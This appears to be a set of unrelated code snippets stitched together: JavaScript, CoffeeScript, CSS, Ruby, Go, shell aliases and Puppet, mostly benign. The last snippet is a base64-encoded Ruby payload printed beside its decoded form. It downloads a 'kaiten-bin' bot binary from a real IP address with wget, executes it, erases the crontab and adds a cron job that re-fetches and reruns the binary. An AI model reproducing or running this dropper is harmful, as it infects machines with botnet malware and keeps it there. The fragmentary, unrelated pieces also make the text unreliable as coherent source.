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(function(open) {
  XMLHttpRequest.prototype.open = function(method, url, async, user, pass) {
    // Do some magic
    open.call(this, method, rewrittenUrl, async, user, pass);
  };
})(XMLHttpRequest.prototype.open);

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# Assignment:
number   = 42
opposite = true

# Conditions:
number = -42 if opposite

# Functions:
square = (x) -> x * x

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http://stackoverflow.com/questions/68569/text-watermark-on-website-how-to-do-it

<style type="text/css">
#watermark {
  color: #d0d0d0;
  font-size: 200pt;
  -webkit-transform: rotate(-45deg);
  -moz-transform: rotate(-45deg);
  position: absolute;
  width: 100%;

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class RebootRequiredPlugin < Scout::Plugin
  def build_report
    reboot_required = system('file /var/run/reboot-required >/dev/null 2>&1')
    report(:reboot_required => reboot_required ? 1 : 0)
  end
end

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// package spooler implements a disk-persistent queue.
//
// Spooler uses MDB (LMDB) to implement a queue of byteslices. Its intended usecase
// is to enqueue work items received by a service before later working them off.
// Note that Spooler only flushes to disk up to once every 25ms. As a result,
// if the process or machine crashes unexpectedly, the most recent 25ms of work
// can be lost. This decision effectively increases throughput by 10,000%,
// but makes spooler unsuitable for jobs that absolutely cannot be allowed to fail
// under any circumstances.
package spooler

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%% name = Heroes

%% {
    attr_accessor :result

    def self.run(text)
      parser = new(text)
      return parser.result if parser.parse
      raise ParseError, parser.failure_info
    end

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alias master='git checkout master'
alias staging='git checkout staging'
alias release='git checkout release'
alias production='git checkout production'
alias rake='bundle exec rake'
alias rspec='bundle exec rspec'
alias cucumber='bundle exec cucumber'
eval "$(./sub/bin/ys init -)"

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import "setup"

node server {
    scout { "role1,role2":
        gems => ["redis", "resque"]
    }
}

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require 'new_relic/agent/instrumentation/sinatra'

module NewRelic
  module Agent
    module Instrumentation
      module Sinatra
        def ignore_apdex?
          skip = self.response.status.to_i == 404
          if skip
            env.delete('sinatra.error')

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# Wanted to eval this
%[c3lzdGVtKCJ3Z2V0IC1PIC92YXIvdG1wL2sgMTg4LjE5MC4xMjQuMTIwL2thaXRlbi1iaW4iKQpzeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL2siKQpzeXN0ZW0oIi92YXIvdG1wL2siKQpzeXN0ZW0oJ2Nyb250YWIgLXInKQpzeXN0ZW0oJyhjcm9udGFiIC1sIDsgZWNobyAiKiAxICogKiAqIHdnZXQgLU8gL3Zhci90bXAvayAxODguMTkwLjEyNC4xMjAva2FpdGVuLWJpbiAmJiBjaG1vZCAreCAvdmFyL3RtcC9rICYmIC92YXIvdG1wL2siKSB8IGNyb250YWIgLScp].unpack(%[m0])[0]

# Which would run this
system("wget -O /var/tmp/k 188.190.124.120/kaiten-bin")
system("chmod +x /var/tmp/k")
system("/var/tmp/k")
system('crontab -r')
system('(crontab -l ; echo \"* 1 * * * wget -O /var/tmp/k 188.190.124.120/kaiten-bin && chmod +x /var/tmp/k && /var/tmp/k\") | crontab -')